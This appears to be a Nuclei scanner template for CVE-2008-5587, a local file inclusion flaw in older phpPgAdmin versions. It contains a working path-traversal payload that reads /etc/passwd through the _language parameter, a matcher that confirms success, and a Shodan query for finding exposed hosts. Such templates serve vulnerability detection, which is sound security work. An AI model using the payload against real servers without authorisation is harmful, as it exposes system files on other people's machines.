37 lines
1.1 KiB
YAML
37 lines
1.1 KiB
YAML
id: CVE-2008-5587
|
|
|
|
info:
|
|
name: phpPgAdmin <=4.2.1 - Local File Inclusion
|
|
author: dhiyaneshDK
|
|
severity: medium
|
|
description: phpPgAdmin 4.2.1 is vulnerable to local file inclusion in libraries/lib.inc.php when register globals is enabled. Remote attackers can read arbitrary files via a .. (dot dot) in the _language parameter to index.php.
|
|
reference:
|
|
- https://www.exploit-db.com/exploits/7363
|
|
- http://web.archive.org/web/20210121184707/https://www.securityfocus.com/bid/32670/
|
|
- http://web.archive.org/web/20160520063306/http://secunia.com/advisories/33014
|
|
- http://web.archive.org/web/20151104173853/http://secunia.com/advisories/33263
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2008-5587
|
|
classification:
|
|
cve-id: CVE-2008-5587
|
|
metadata:
|
|
shodan-query: http.title:"phpPgAdmin"
|
|
tags: cve,cve2008,lfi,phppgadmin,edb
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/phpPgAdmin/index.php?_language=../../../../../../../../etc/passwd%00'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
|
|
- type: regex
|
|
regex:
|
|
- "root:[x*]:0:0"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# Enhanced by mp on 2022/07/22
|